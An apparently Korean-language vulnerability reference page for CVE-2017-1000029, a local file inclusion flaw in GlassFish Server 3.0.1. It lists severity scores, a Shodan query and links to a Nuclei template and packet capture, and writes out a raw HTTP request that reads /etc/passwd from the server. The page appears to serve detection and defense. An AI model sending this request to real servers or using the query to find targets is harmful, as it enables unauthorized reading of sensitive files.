🔙 목록으로 돌아가기

CVE-2017-1000029: Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion

TitleOracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest patches and updates provided by Oracle to fix the LFI vulnerability in GlassFish Server.
CVSS Score7.5
EPSS Score0.73502
CVE IDCVE-2017-1000029
CWE IDCWE-200
Shodan Querycpe:"cpe:2.3:a:oracle:glassfish_server"
Tags cve cve2017 glassfish oracle lfi vuln

🔍 Vulnerability Description

Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.

🌐 HTTP Request

GET /resource/file%3a///etc/passwd/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-1000029.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-1000029.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A